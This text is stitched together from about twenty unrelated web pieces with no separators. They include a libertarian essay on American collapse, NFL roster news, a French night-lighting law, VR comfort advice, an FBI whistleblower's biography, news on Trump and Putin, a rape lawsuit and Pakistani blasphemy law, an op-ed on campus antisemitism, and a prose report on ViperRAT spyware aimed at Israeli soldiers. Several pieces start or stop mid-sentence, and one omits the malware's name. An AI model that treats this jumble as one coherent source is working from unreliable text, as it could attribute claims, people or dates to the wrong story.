By its nature and the fact of the division of knowledge, the American system of government can only function at all if the state is small. Tragically, its success as a small state allows its conversion into an enormous imperial state, and as it adopts socialism its flaws become more evident and more destructive. The end result of this transformation can be only total collapse or dictatorship. How can we protect ourselves from this event? The nature of the American system creates an opportunity to reintroduce a free market in security. While it struggles to prevent its own collapse and transforms itself into a dictatorship, it will be helpless to prevent the rise of independent societies within its borders capable of producing security against the state’s exploitation. Such is not the case in the Chinese state, where upstart societies will be immediately crushed. Thus, when American government completes the transition to dictatorship, the dictator will have power only over the members of the state apparatus itself, and the American system will give way to a free market system.
AdvertisementsOne of the more interesting breakdowns of the starters on each NFL team is going on over at Pro Football Focus. They lay out the projected starters using color coding to grade each player from elite to poor based on their performance ratings. It is a very interesting way to get an overall view of the talent level on the team.
Interesting to note is they go with the nickel package which has just two linebackers. This leaves out linebacker Sio Moore who is likely to start as well. But they wouldn't have had a grade on Moore anyway because he is a rookie.
As you can see, the Raiders don't have a single player deemed "elite" by PFF standards, however they have three players they grade out as High Quality. Those players are left tackle Jared Veldheer, defensive end Lamarr Houston, and Safety Tyvon Branch.
On the flip side, the largest group is that of below average. But while there are a great many who land between above and below average, there are no players graded as poor. That might be a surprise to those who have read some of the national sports news' perspective on the Raiders roster. It has been rated as the absolute worst in the NFL by nearly everyone.
Except for PFF, that is. Which, not surprisingly is one of the only sites which delves deep to research each and every play by each and every player.
The writer, Neil Hornsby, notes he gave a couple players the benefit of the doubt - Denarius Moore and Andre Carter - in that he thinks they had down years but will bounce back to previous form. All other players' grades are based on actual performance, not projection or opinion.
Hornsby also mentions to keep an eye out for Kaluka Maiava, Phillip Adams, and Usama Young, all of whom they have good grades for and see making an impact this season.
To see the entire article, Click here.
Follow @LeviDamienThe Eiffel Tower already complies with the law, turning off lights at 1am MARTIN BUREAU/AFP/Getty Images
The City of Light grew darker last night because of a French government drive to save energy and cut pollution.
A new law made it obligatory for businesses, stores and public buildings across France, including Paris, to turn off lights in shop windows and on façades between 1am and 7am.
Office lights must be switched off one hour after the last employee goes home under the plan, overseen by Delphine Batho, the Environment Minister.
Companies that fail to respect the law face fines of €750 (£640) per night, though officials say there will be a bedding-in period before the first penalty notices are issued.
The move could signify radical change for the many French companies that leave lights on all night through negligence, and for…The First comes from House of Cards creator Beau Willimon who told Variety, "It's a story about the human spirit. About our indomitable need to reach for unknown horizons. About people working toward the greatest pioneering achievement in human history. And about the cost of that vision, the danger and sacrifice — emotional, psychological, and physical — that's required to achieve it. How ordinary, imperfect people band together and overcome a myriad of obstacles to grasp the extraordinary."
Penn's role hasn't been announced yet and this marks the first time the actor — who has two Oscars for Mystic River and Milk — has had regular role on a TV series. And speaking of awards, Hulu did quite well for itself at the Emmys, winning 10 awards overall — most of which went to The Handmaid's Tale — and further solidifying itself as a major player in the TV world.
The First is set to go into production later this year and is scheduled to premiere in 2018.The Minnesota Vikings made a couple of roster moves on Wednesday to add players to the roster.
The first of those moves was to promote safety Ahmad Dixon from the practice squad to the 53-man roster. The Vikings had a space on the main roster following yesterday's release of J'Marcus Webb. The Vikings had signed Dixon to the practice squad for a second time a couple of weeks ago...the first time the Vikings signed him, he was plucked away by the Chicago Bears five days later. Dixon has also spent some time on the Miami Dolphins' practice squad this season before getting released by them as well.
Dixon was a seventh-round pick by the Dallas Cowboys in this year's NFL Draft, and had a pretty decent pre-season, but did not make the final roster in Dallas.
The Vikings also signed offensive lineman Jordan McCray to their practice squad. McCray played his college ball at the University of Central Florida (as did his twin brother, Justin), and went undrafted in this year's selection process. Jordan McCray signed with the Green Bay Packers, and was re-signed to their practice squad after being released in their final cuts. He's actually signed with the Packers three different times, according to the folks at Acme Packing Company.
With cornerback Chris Greenwood being signed off of the practice squad by the Baltimore Ravens, the Vikings' practice squad currently looks like this.
WR Kain Colter
QB Pat Devlin
DT Isame Faciane
WR Donte Foster
LB Josh Kaddu
C Zac Kerin
G Jordan McCray
TE Ryan Otten
RB Dominique Williams
The team still has an opening on their practice squad, which I would expect to be filled in relatively short order.Recognizing Trouble in VR
I recently wrote an article on my favorite virtual reality games. I think that ensuring people experience the best virtual reality games is extremely important to the health of the medium– a bad VR game is all it takes to make someone lose interest in VR and maybe lose their lunch, too.
Unfortunately, it is not always easy to identify the component of a VR experience that sends you in a rush to the nearest trash bin. I wanted to share my knowledge of core issues for both gamers and developers to keep an eye out for when playing and working in VR.
Frame Rate
Bad frame rate on computer games is noticed quite easily when it drops below 45fps. However, due to lagging frames when you turn your head, a framerate of 90fps is recommended for VR. While you can’t really tell the increased framerate when you are still and watching objects, it becomes apparent when you turn your head to look around a scene in VR. Unfortunately, with 60fps having been the standard for so long, rendering not one, but two screens at 90fps is quite the challenge for developers. This is why you’ll find that most VR games trend towards simple graphics.
User Interface
User interfaces (UI) have to be completely rethought to work well in virtual reality. While the standard for most games are active UI elements around the edge of the screen and locked position menus, neither of these work well in VR. Your peripheral vision is very sensitive to change, but is unable to focus on elements. Thus, a health bar to the side of the game would be distracting when it changed and impossible to see in detail. Locked menus in the center of the screen suddenly feel far too much like someone enthusiastically shoving a paper in your face. Certainly, you can read it, but it would be much more pleasant if they handed it to you and let you hold it at the distance that’s best for you.
The best solutions I have seen in VR for UI are systems that use the world space to host the interfaces. A particular favorite of mine are the menus and displays in Elite Dangerous. The displays are prominent on and in front of the cockpit’s windshield, far enough from your face to not be obstructive, but close enough to see clearly. The menu system is what blew me away, though. You simply turned to look to either side of the main console and a holographic menu would pop up in your spaceship in that location and become interactable with the controls. It really felt like I was using the control systems of a future space craft.
Another cool example of an ingenious virtual reality UI system is in Bazaar, where the sky acts as your inventory and your items save as constellations. The sky above you is so often unused in games, so it is great to see that space being put to use in VR and, especially, in such a creative way.
Motion
Motion within a virtual world is the fastest way to send someone reeling. When our eyes witness movement and our inner ear doesn’t feel it, a gut-churning feeling is generally produced. Of course, staying stuck in one place would greatly limit virtual reality! Luckily, there are some solutions and ways of mitigating the sickness, but, much like car-sickness, not everyone will fine VR movement pleasant.
Unsurprisingly, the best way to do VR movement is to simply let the person move themselves around the VR environment. The SteamVR experience was very transformative for many VR enthusiasts, as it allows you to walk around a space instead of being stuck in a chair or a single location. Allowing a person full control of their movement as they naturally would eliminates the motion sickness, as their body experiences the same movement. Of course, your movement is still limited by the space (currently 10’x10’) of SteamVR.
Using natural movement, but trying for an unlimited space, Omnideck 6 by Omnifinity is a 360° treadmill. In theory, it sounds like the perfect solution, a way for people to move endlessly in all directions in VR. Omnifinity has yet to develop a way for the treadmill to stop movement exactly with the user, though, so all of the demonstration videos show the player stopping and then comically being moved back by the treadmills for another second. Amusingly, this creates the exact opposite issue than what normal VR faces, as movement in real life when there is none in game can be just as unsettling.
The Virtuix Omni, a concave platform that you walk and run on using a harness and special shoes, is certainly cheaper than the Omnideck. It allows you to stop instantly, but requires “sliding” steps to move and stops you from being able to squat, lean and engage in other similar movements. A good solution for some games, but it still is yet another expensive piece of hardware that customers have to purchase.
So what are non-hardware approaches to movement in virtual reality?
Placing the player in a moving object and keeping the player stationary within the object is one of the best solutions. Games like Vox Machinae and Eve: Valkyrie place you in command of a mech or space ship, allowing you to feel perfectly snug in your chair while controlling the movement of your craft. For most people, having stationary elements around them is all that is needed to solve the movement problems in VR.
Again, this is a solution, but not to all VR problems. With our current technology, sometimes you’ll want to sit in a chair and explore the world in a first person virtual view. There are a few easy ways to make this as painless as possible. First, the movement speed should be kept fairly low. Oculus recommends 1.4m/s for a walk and 3m/s for a jog. Movement above this speed starts to make one feel pretty nauseous. Second, acceleration is much more disorienting than constant velocities. It is much better to have movement that goes from 0 to speed rather than have a noticeable acceleration at the start. This is particularly important for turning. Finally, it can be very disorienting for “forward” to not be the direction you are looking. We humans rarely strafe in real life! The second-most vomit-inducing VR experience I’ve ever had was catapulting through the air and trying to look where my next jump should be. The combination of moving quickly and moving in a direction I wasn’t looking at was very rough. While it might be hard to have good movement controls that only allow you to move in the direction you are looking – a big part of VR is being able to look around naturally, after all – it is smart to avoid gameplay that requires looking in one direction while moving in another, especially when the player does not have full control of that movement.
Convergence Artifacts
What is a convergence artifact? Basically, it’s what you see when your eyes receive incompatible information about an object. It often looks like a flickering and can be vary strenuous as your eyes fight for dominance and focus to determine the artifact’s visual form. The most obvious form of this that I’ve encountered was a game in which the end screen was rendered in one eye and not the other. It caused immediate tension in my eyes and I was more than happy to quickly remove the VR headset. While the developer informed me that he had just added it to the game and the one-eye rendering was temporary, I offered the advice to avoid such temporary menus in the future, they definitely do more harm than good.
Hopefully, most games will avoid that obvious creation of eye strain. Many VR games, especially ones created first for monitors, will likely face another difficulty that causes these convergence artifacts. Specular mapping and shaders are calculated from the angle that they are viewed at. However, with two cameras, one for each eye, the calculated results don’t always work well together. This may cause grass to render in two different ways, seemingly flickering for the user, or for some objects just to look inexplicably off. It seems that the best approach is to calculate shaders and specular mapping from a single view parameter for both eyes.
Unfortunately, it is not always a simple problem to solve and can be even harder to detect. So if your eyes feel inexplicably strained after playing a VR game for a while, give the details a close look to make sure the strain isn’t being caused by these artifacts.
Camera
Not all VR games are first person and a third person camera view can be awesome. In AirMechVR, you view the RTS battlefield from the normal god-like position, but you have it laid out on a table in front of you, like you were playing a tabletop game. The experience is enhanced more when you realize the room you are playing in is actually your main base that you’re trying to protect, which gives a cool dual first/third person perspective of the battle. You can fly what seems to be a little toy AirMech over a toy base, then look up and see the craft in full size above you.
The most important aspect of camera use in VR, though, is that the control of the camera always belongs to the player. Many non-VR games take the camera away from the player to pan across a new landscape or to set up a better view angle for a dialog scene. These camera motions done in VR bring about the same nausea that poor movement causes for similar reasons, simply because camera movement in VR is interpreted as motion by your brain.
The most vomit-inducing VR experience I’ve had was when I died in one of the games that I was playing. Instead of fading to a death screen or freezing the camera and game, my character rag-dolled to the ground, causing the VR view to flip and fall. It was the equivalent of your vision going on a tumble that your body didn’t come along for and my stomach found it most-upsetting.
Hopefully, with these points in mind, you can recognize troublesome VR experiences, whether it is to find a good VR game, identify why a game is making you sick or to improve a game of your own!Coleen Rowley grew up in a small town in northeast Iowa. She obtained a B.A. degree in French from Wartburg College, Waverly, Iowa and then attended the College of Law at the University of Iowa and graduated with honors in 1980 also passing the Iowa Bar Exam that summer.
In January of 1981, Rowley was appointed a Special Agent with the FBI and initially served in the Omaha, Nebraska and Jackson, Mississippi Divisions. In 1984 she was assigned to the New York Office and for over 6 years worked on Italian organized crime and Sicilian heroin drug investigations. During this time Rowley also served three separate temporary duty assignments in the Paris, France Embassy and Montreal Consulate.
In 1990 Rowley was transferred to Minneapolis where she assumed the duties of "Chief Division Counsel" which entailed oversight of the Freedom of Information, Forfeiture, Victim-Witness and Community Outreach Programs as well as providing regular legal and ethics training to FBI Agents of the Division and some outside police training.
In May of 2002 Rowley brought some of the pre 9-11 lapses to light and testified to the Senate Judiciary Committee about some of the endemic problems facing the FBI and the intelligence community. Rowley's memo to FBI Director Robert Mueller in connection with the Joint Intelligence Committee's Inquiry led to a two year long Department of Justice Inspector General investigation. She was one of three whistleblowers chosen as persons of the year by TIME magazine.
In April 2003, following an unsuccessful and highly criticized attempt to warn the Director and other administration officials about the dangers of launching the invasion of Iraq, Rowley stepped down from her (GS-14) legal position to go back to being a (GS-13) FBI Special Agent. She retired from the FBI at the end of 2004 and now speaks publicly to various groups, ranging from school children to business/professional/civic groups, on two different topics: ethical decision-making and "civil liberties and effective investigation."
Identifier fullshow_201412 Scanner Internet Archive HTML5 Uploader 1.6.0Hamburg, Germany (CNN) Top advisers to President Donald Trump declined three times on Saturday to rebut claims from Russian officials that Trump had accepted their denials of alleged Russian interference in the US election.
Aboard Air Force One, chief economist Gary Cohn, national security adviser H.R. McMaster, and Treasury Secretary Steven Mnuchin all declined to knock down those remarks when pressed by reporters, deferring instead to Trump himself.
"President Trump will be happy to make statements himself about that," Mnuchin said. "But President Trump handled himself brilliantly. It was very clear that he made his position felt, and after a very substantive dialogue on this, they agreed to move on to other discussions."
A senior administration official who spoke to CNN on Friday evening said Trump did not accept Putin's denial of responsibility for the hacking.
Trump departed Germany earlier Saturday without taking questions from the press, unlike many of his counterparts. That included Russian President Vladimir Putin, who told reporters that Trump appeared to accept his assertion that Russia did not meddle in the US presidential contest.
"He asked a lot of questions on this matter," Putin said at a Saturday press conference. "I answered as many as I could answer. I think he took it into consideration and agreed with it. But you should ask him what his opinion is on that."
McMaster said the meeting was focused primarily on "what we are going to do going forward." He listed Syria, Ukraine and North Korea as the major topics of discussion.
The meeting, which took place Friday, lasted for more than two hours. Neither Cohn, McMaster nor Mnuchin was present for the talks; only Trump and Secretary of State Rex Tillerson represented the US.The legal battle between Ryan Romo and a 16-year-old girl who accused him of rape in October 2012 just got even more complicated. The girl, who is referred to as Jane Doe in court documents, has filed a civil lawsuit against Romo for mental anguish, physical pain and suffering, and medical treatment as a result of sexual assault.
Doe is now being represented by high-profile Dallas attorney Charla Aldous, who won a $9.3 million verdict against the Episcopal School of Dallas in 2011 for its actions in the aftermath of a teacher's sexual assault of a student. The case was later settled for an undisclosed amount.
Aldous, traditionally a plaintiff's attorney, will also defend her client against the Romo's recent defamation claim.
Attorney Charla Aldous says that the Romos' lawsuit "exists to punish Jane Doe" for reporting date rape and is replete with "nasty allegations designed to embarrass and cause distress."
After a Dallas County grand jury declined to indict Romo on charges of sexual assault in January, the Romo family sued his accuser for defamation and malicious prosecution. The Romos are seeking unspecified damages related to their son's lost athletic opportunities.
Ryan Romo was a star baseball player for Highland Park High School when he he was charged with sexual assault of a child. As a result, he was kicked off the team and was no longer considered a college or Major League Baseball prospect.
In an April 29 filing, Aldous says that the Romos' lawsuit "exists to punish Jane Doe" for reporting date rape and is replete with "nasty allegations designed to embarrass and cause distress." Aldous denied "each and every allegation" in the Romo's petition and demanded a jury trial.
Romo was an 18-year-old senior at Highland Park High School when he was charged with sexual assault of a child. He admitted to having a sexual encounter with a peer after a concert in October but claimed it was consensual.
According to the arrest warrant affidavit, Romo left a Ghostland Observatory concert at the Palladium Ballroom with Doe, a female Highland Park student. The two took a cab to Romo’s Chevrolet Tahoe; their stories differ about what happened subsequently.
Doe says Romo forced himself on her and that she told him to stop. Romo says the sex was consensual.
The Romos' lawsuit says that Doe was coerced into making false statements to the police for her parents' financial gain.
In response, Aldous says that the grand jury case was fraught with errors.
"Ultimately, the criminal justice system did not punish Ryan Romo, in part because of what appears to be an inadequate presentation of the case by the attorney in charge," the suit reads. "For reasons unknown, corroborating evidence was not presented to the grand jury, including the testimony of an examining gynecologist who was willing and will testify that, based on the physical trauma to Jane Doe, she in reasonable medical probability was forcibly sexually penetrated."
The lawsuit further claims that the Romos intend to cause Jane Doe and her family distress and to discourage sexual assault victims from coming forward in cases of date rape.
"This jury will have the opportunity to send a message that this community will support those making good faith claims of assault and not tolerate attempts to trample on victims," the suit reads.How I Built My Own “React” in Two Days — and Why I Did It
Andrew MacDonald Blocked Unblock Follow Following Sep 17, 2017
Let’s talk about reinventing the wheel. A major philosophy I have always believed in is learning as much as you can about the ins and outs of all the tools you use. Peer into the GitHub repos of libraries you use, |
potentially in breach of its WTO commitments”.
But other Eastern partnership hopefuls are also waiting for signals from the EU foreign affairs meeting. Moldova and Georgia both hope to initial their own association agreements with the EU at the Vilnius summit.
The EU official conceded that the ministers would focus primarily on Kyiv at Monday's meeting, but he assured that the EU “does not mix Moldova and Georgia with Ukraine”, meaning that each country would be subject to a separate discussion.
Georgia will hold presidential elections only days after the Foreign Affairs Council on 27 October.
“The electoral process is satisfactory so far, let’s wait for the results of the elections and the new president, in the meantime we’ll continue to get ready for the Vilnius Summit and the initialing of the agreement,” the EU official said on Friday.
The EU Eastern partnership was launched in 2009 and covers six countries: Armenia, Azerbaijan, Belarus, Georgia, Moldova and Ukraine.
Foreign affairs ministers will also discuss the situation in the Southern neighbourhood, with a special focus on Egypt, Syria, Libya and the aftermath of the Lampedusa tragedy, as well as Myanmar, Yemen and Bosnia.
Serbia will hold its first so-called Stabilisation and Association Council with the EU in the margins of the meeting on Monday evening. Serbia is hoping to start accession negotiations with the EU as soon as January 2014.Edmunds: Driven by Tesla, 2018 will be the auto industry's greenest year ever
It's been argued 2017 marked the beginning of the end of the internal combustion engine. Could 2018 deliver a significant upsurge in vehicle electrification? It turns out that Dealer Marketing Magazine reports, "2018 is looking to be the greenest year yet for the auto market, according to new data from Edmunds, the leading car shopping and information platform."
Above: In their report, Edmunds acknowledges that much of 2018's growth forecasted for the green car segment is contingent on Elon Musk and Tesla (Source: Edmunds)
What kind of growth does Edmunds forecast? "Edmunds analysts project that overall market share for green vehicles (EVs, plug-ins, and traditional hybrids) will reach 4.4% in 2018, compared to an estimated 3.2% in 2017. Edmunds also predicts sales of plug-in vehicles will double in 2018 as compared to 2017, outselling traditional hybrids by the end of next year."
Above: In 2018, green car market share should reach a record 4.4% while sales of plug-ins are expected to double (Source: Edmunds)
Much of this growth is predicated on Tesla speeding up their Model 3 production ramp next year. However, Edmunds executive director of industry analysis, Jessica Caldwell, admits: "Even if Tesla doesn’t meet its full production commitments for the Model 3 until midsummer, 2018 will still be a hallmark year for green vehicles. The price of batteries is coming down, EV range is rising, and shoppers will have more choices than ever."
Above: If Model 3 production reaches full strength, Model 3 will allow Tesla to unseat Toyota's Prius as best-selling green car for the first time ever (Source: Edmunds)
According to Edmunds analysis, "by the end of the year, cars with plugs will outsell traditional hybrids." However, Caldwell notes that the EV tax credit phase-out could have an impact. She explains, "the lower end of the EV market will feel pressure once federal tax credits start to wane toward the latter half of the year, which will give the first indication of how ready the segment is to stand on its own.”
Above: Next year, Tesla will likely be the first automaker to begin the EV tax credit phase-out (Source: Edmunds)
Looking ahead, vehicle electrification coupled with self-driving capabilities will become increasingly prominent in the coming years. Caldwell concludes that, "the rise in green car sales is really just a precursor to what OEMs have in the works for the autonomous vehicles promised for 2019 and 2020. 2018 will be a year of right-sizing for the present while putting some of the critical building blocks in place for the future."
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Source: Dealer Marketing Magazine via Edmunds
Next →
← PreviousJNS.org – As soon as an African American student at San Jose State University who was racially harassed and bullied by his dormitory roommates came forward, university, county, and state officials began an investigation. Within days, prosecutors labeled it a hate crime, battery charges were filed against three of the roommates, and the university had suspended them. Within weeks, California State Assembly Speaker John Perez announced the creation of a Select Committee on Campus Climate, and its first task was to look into this incident and find a way to prevent others like it.
When a white male threw a beer at Trinity College sophomore Juan Hernandez and yelled, “Get off our campus,” Trinity launched an investigation and charges were brought against the perpetrator. When anti-gay remarks were written on message boards that hang on dorm-room doors, Elizabethtown College began an investigation, engaged the FBI, and disciplinary action was taken.
Compare that to the situation for Jewish students. Over the last several years, Jewish students on campuses across the country have been physically, emotionally, and intellectually harassed, intimidated, threatened, and bullied, not only by their fellow students but also by some of their professors.
Anti-Israel student activists at the University of Michigan last month hurled death threats at Jewish student council members and called them “dirty Jew” and “kike.” At University of California, Berkeley, a Jewish girl holding an “Israel Wants Peace” sign was ramrodded with a shopping cart by the head of Students for Justice in Palestine. At Harvard University, the Palestine Security Committee frightened Jewish students by placing mock eviction notices on their dormitory rooms. At Northeastern University in Boston, Students for Justice in Palestine vandalized a menorah and disrupted Jewish events. At San Francisco State University this past fall, the General Union of Palestine Students hosted an all-day event where participants could make posters and t-shirts that said, “My Heroes Have Always Killed Colonizers,” meaning Jews. And just last week, at New York University, pro-Palestinian students slipped “eviction notices” under the doors of 2,000 undergrads, scaring Jewish students and parents.
The first major source for anti-Jewish sentiment on campus is members of the Muslim and pro-Palestinian student organizations. For more than a decade, these groups have sponsored speakers, films, exhibits, and guerrilla theater that engage in discourse or use imagery and language considered anti-Semitic by the U.S. State Department. These student groups have also been responsible for aggressively confronting students at pro-Israel events and threatening, physically harassing, and assaulting Jewish students.
Over the past couple of years, the groups have also promoted campaigns to boycott Israel or companies that do business with Israel. These campaigns are accompanied by talks, rallies, and exhibits containing anti-Semitic imagery, rhetoric, and actions. Jewish students have reported fearing for their safety in the days leading up to and after the campaigns, saying they were “continuously intimidated” and “repeatedly threatened.”
The second source of anti-Israel sentiment on campus is faculty. In classrooms and at departmentally sponsored events, faculty members have advanced lies and distortions about Zionism, Israel, and Jews, and advocated the elimination of the Jewish State. Although their rhetoric is unscholarly, politically motivated, and even at times anti-Semitic, these professors have wrapped themselves in the mantle of academic freedom, making it very difficult to challenge.
For four years, David Klein, a mathematics professor at California State University, Northridge, has been using his university’s server to promote his Web pages calling for the economic, academic, and cultural boycott of Israel. His Web pages contain a litany of false and inflammatory statements and photographs intended to incite hatred and promote political activism against the Jewish State.
David Lloyd is a professor of English at University of California, Riverside. In January, he organized an event on his campus that featured Omar Barghouti, the founder and most vocal advocate for the campaign to boycott Israel. Barghouti accused Israeli soldiers of “hunting children,” saying that soldiers “entice children like mice into a trap and murder them for sport.” He also accused “Israel and its well-oiled lobby groups” of “buying and paying for the allegiance of Congress” and controlling the media. Course credit was dangled to students in eight courses for attending Barghouti’s hate speech.
At NYU, Prof. Lisa Duggan hosted a conference for students that constituted nothing more than a platform for 21 anti-Israel activists to spew their hatred of the Jewish state and promote a boycott intended to hasten its elimination. Fully aware of its unscholarly, anti-Semitic, politically motivated purpose, Duggan wrote on Facebook, “PLEASE DO NOT post or circulate the flyer. We are trying to avoid press, protestors and public attention.”
The impact of this academic Israel-bashing on students has been enormous. Students have reported feeling emotionally and intellectually harassed and intimidated by their professors, to the point that they are reluctant or afraid to express a view that is not anti-Israel in their classes. They are often afraid to come forward and confront the professor or complain to the university for fear of retaliation.
Sadly, Jewish students who have spoken out have been vilified and attacked for even trying to call attention to the anti-Semitic behavior they are experiencing. For example, at a University of California, Davis anti-Israel “occupation” rally last November, a student who expressed concern about the anti-Semitic banners displayed at the protest was physically assaulted by a protestor who screamed in his face, “You are racist and you should die in hell.”
Who bears the most blame for the tsunami of campus anti-Semitism? University administrators. Distressingly, administrators routinely turn a blind eye to this long-standing and pervasive anti-Jewish bigotry and ignore Jewish students’ pleas for help. Language and behavior that would never be tolerated from students or faculty when directed against other campus minorities goes unchallenged by administrators when directed against Jewish students. The primary responsibility for addressing campus anti-Semitism rests with university administrators. Unfortunately, they are missing in action when it comes to protecting Jewish students rights and ensuring their safety.
Administrators: It’s time to stop hiding.
Tammi Rossman-Benjamin is a lecturer at the University of California, Santa Cruz and cofounder of the AMCHA Initiative, a non-profit organization that combats campus anti-Semitism.One Carolina Panthers fan didn't exactly have a happy Thanksgiving last Thursday.
Near the end of his squad's 33-14 victory over the Dallas Cowboys, John Small of Chapel Hill, NC decided to taunt the home team's fans by holding up "11-0" and "Keep Pounding" down by the field. According to an eye witness, fans of both teams filed complaints to AT&T Stadium before security officers came down and issued Small a warning. Shortly after leaving the area, security officers were called back as more complaints were filed in regards to Small as he decided to disregard watching the game without disturbing those around him.
Security officers wanted to peacefully escort Small to the top of the section in order to urge him to watch what was left of the game in peace and without causing an out-of-control ruckus. That's when the following scene took place, as seen in the video embedded below.
On his way out, Small was put into a chokehold by the security officers trying to detain him. The officer was simply attempting to calm down the much larger aggressor who was not cooperating. Here's a close-up video of the incident below.
Small released a statement of his account of the incident, via Facebook:
First of all I would like to thank all of you for the outpouring of support and your sharing of the truth of what happened Thanksgiving Day in Dallas. For those of you who may not know my mother and I flew to Dallas on Thanksgiving morning for the day to see the Panthers play the Cowboys. This trip was meant to be a way for us to mask the pain for even a few moments of the loss of My Dad one year ago that day. My father was my rock in everything that I sought in life, he was my mentor, my friend, my coach and the heart of our entire family. Our family is a huge football family and football has been a part of my entire life. We are loyal and we are avid fans, but we strive to always be respectful fans, especially as visiting fans. Until the last five minutes of the game, the game was everything we could have hoped for and Mom and I had a great time. In the last five minutes of the game, security approached me and told me I would have to leave because a complaint had been filed against me, calling me "disruptive." They would not tell me anything specific and said they would not ask me to leave again. I politely stood up for myself and before I knew it they were nudging Mom out of the way to get to me and at that point, I walked into the aisle and was immediately put into a chokehold. The video shows what happened. As you can see both Dallas and Panther fans stood up for me and told the guards that I had done nothing wrong. I would appreciate anyone who took videos to post them for me. I would like to thank David Ward for his post and I would also like to thank the gentleman in the Chicago Bears jersey who freed me from the chokehold and would very much like for him to contact me as well. We have asked that the security footage be reviewed by the Arlington police department but have received no further contact.
Small did appear to "egg on" the security officers and fans with his final taunts when security came down to take him away. Certainly a difficult and unfortunate scene inside AT&T Stadium that could have easily been avoided if Small had cooperated.
According to security, police officers met Small at the top of the section and put him in handcuffs to further control him. However, he was not arrested.A new female crusader for human rights in Pakistan may have just emerged -- with a price on her head.
Sherry Rehman, the Pakistani Ambassador to the United States, is under investigation by Pakistani police for allegedly blasphemous remarks she made more than two years ago on a Pakistani talk show, Agence France-Press reports. If convicted, Rehman could be sentenced to death.
A senior police official confirmed to AFP on Tuesday that authorities had begun investigating Rehman on orders from the Pakistani Supreme Court.
According to CBS, the case is a response to a 31-year-old Pakistani businessman's complaint to authorities, in which he singled out Rehman for remarks she made during a Nov. 30, 2010, appearance on Dunya TV news program “Dunya Meray Aagay.”
Rehman's contentious statements were made during a discussion about Aasia Bibi, an impoverished Pakistani Christian woman who had been sentenced to death a few weeks earlier for allegedly insulting the Prophet Muhammed.
In Pakistan, anyone who insults the Prophet (even indirectly or implicitly) can be given a death sentence or life imprisonment. Recently, a 14-year-old girl named Rimsha Masih was arrested and jailed for allegedly burning pages from the Quran. She was later freed after a Muslim cleric was accused of framing her.
Over 1,200 people have been charged with blasphemy in Pakistan since the harsh law was enacted in 1986, according to English-language Pakistani newspaper Dawn. Critics of the measure say the law is often used to persecute religious minorities or settle personal vendettas.
While there have been no verified reports of anyone being officially executed, angry lynch mobs have reportedly bypassed the judicial system and carried out the executions themselves.
The Guardian notes that when influential Pakistani politician Salman Taseer was assassinated by his own bodyguard in 2011, the security guard was said to have told police he killed Taseer for advocating against the country's blasphemy laws.
Rehman, who was appointed Ambassador to the U.S. in November 2011, has campaigned against Pakistan's blasphemy laws herself. She received death threats in 2010 after drafting a bill to abolish the death penalty for blasphemy, DNA India reports. Rehman was later pressured by her own party to drop the bill.Spread the love
Stuart, FL– Rosemary Aquino is a retired NYPD police officer, her Facebook page contains multiple images of her pride in the thin blue line and her former department, in particular. This pride is unsurprising as she spent 15 years on the force and was one of the first responders after the 9-11 attacks.
During the Super Bowl halftime, Aquino received a call from her 16-year-old son alerting her that he had been in a car accident after a tire fell off of his vehicle. The panicked mother jumped into her car and drove 30 minutes to the scene of the crash where she found a spot that wasn’t impeding traffic. She then put on her hazards and rushed to her youngest son in tears.
“There were 3 to 4 police cars there. And I ran over to him and grabbed and hugged him, and I was crying to make sure was he ok.” Aquino told CBS12.
Aquino then described the next few moments, which lead to her being assaulted by an officer.
“One of the officers grabbed me and said, ‘You need to move your car now.’ I said, ‘First of all don’t touch me. I am going to my car now.’ And so another came up from behind me as I was walking, shoved me from behind, pushed me, and as he was pushing me said, ‘get your f—ing ass in the car, now!’ Then, I turned around and said, ‘How dare you talk to me like that in front of my children.'” “Then, one of the officers took his foot and then knocked me down, face first into the grass,” said Aquino. “There was no threat there for me. I was a distraught mom, going to make sure her son was okay,” Aquino said. “When they went to lift me up, that was when I felt my hip go out,” said the woman.
Her oldest son who is 27, and her 19-year-old son were also present and witnessed the attack. Her oldest son described the officers forcing his 19-year-old brother away from the median and into a busy street. The forcing of one son into a busy street prompted Aquino to instruct her youngest son to get a pen and paper from the vehicle to take down the officers names and badge numbers. The officers then reportedly arrested the teenager.
Her son captured a portion of the incident on video.
“NYPD I know my rights.”, Aquino exclaims.
“We are a little different in Florida.” the deputy informs her.
“No it’s a street and this is grass. He is allowed to be here.” she counters, as an ex-police officer who knows her rights.
“The law says I told you to go to the sidewalk.” the officer asserts.
The department is defending the officer’s actions and have stated that they did nothing wrong.
“Based on the report she was resisting. She was flailing her arms and she needed to be controlled,” said Chief Deputy Glen Theobald with the Martin County Sheriff’s Office told CBS. “You don’t see what happened before that or what precipitated that arrest, and based on the information from the report, the deputy repeatedly asked the woman to step away from the street move from off of the roadway.”
This is not the first time in recent weeks where we have seen that thin blue line injuring its own.
At the end of January, we reported on a Yonkers police officer who shot a suicidal officer from another precinct, claiming he feared for his safety.
Earlier in the month we also reported on an undercover Albuquerque police officer who was shot by another officer during a drug bust over $60 worth of meth. The media called it a “tragic accident” while, in reality, it was another example of police shooting someone who poses no threat to them.
So, will the police support their retired peer who had her rights violated, or does the thin blue line only show support for those among them who are violating the rights of others?
Follow @CassandraRulesModus Operandi Identified
Is Hamas Behind the Cyber-Spying Operation?
A group of highly sophisticated state-sponsored hackers is spying on the Israeli military by hacking into the personal Android phones of individual soldiers to monitor their activities and steal data.A newly released research by Lookout and Kaspersky suggests that more than 100 Israeli servicemen from the Israeli Defense Force (IDF) are believed to have been targeted with spyware.Dubbed, the malware has specifically been designed to hijack Israeli soldiers’ Android-based smartphones and remotely exfiltrate data of high value, including photos and audio recordings, directly from the compromised devices.According to the security firms, IDF personnel had been compromised by social engineering techniques — where the soldiers were lured via Facebook Messenger and other social networks into entering communications with hackers who posed as attractive women from various countries like Canada, Germany, and Switzerland.The soldiers were then tricked into installing a trojanized version of two different, typically legitimate Android chat apps, SR Chat and YeeCall Pro, for easier communication.The malware has also been distributed using a dropper hidden in other Android smartphone applications including a billiards game, an Israeli Love Songs player, and a Move To iOS app, which are common to Israeli citizens and available in the Google Play store.The app then scanned soldiers' smartphones and downloaded another malicious application that masqueraded as an update for one of the already installed apps, such as WhatsApp, and tricked victims to allow various permissions in order to carry out surveillance.This, in turn, allowed the attackers to execute on demand commands, enabling them to control phone's microphone and camera, eavesdrop on soldiers' conversations, and peer into live camera footage.Besides this, the ViperRAT malware gathers a broad range of data from compromised devices including geolocation, call log, personal photos, SMS messages, cell phone tower information, network and device metadata, internet browsing, and app download history.According to researchers, the hackers were able to successfully establish a widespread cyber espionage campaign by compromising dozens of mobile devices from Samsung, HTC, LG and Huawei belonging to over 100 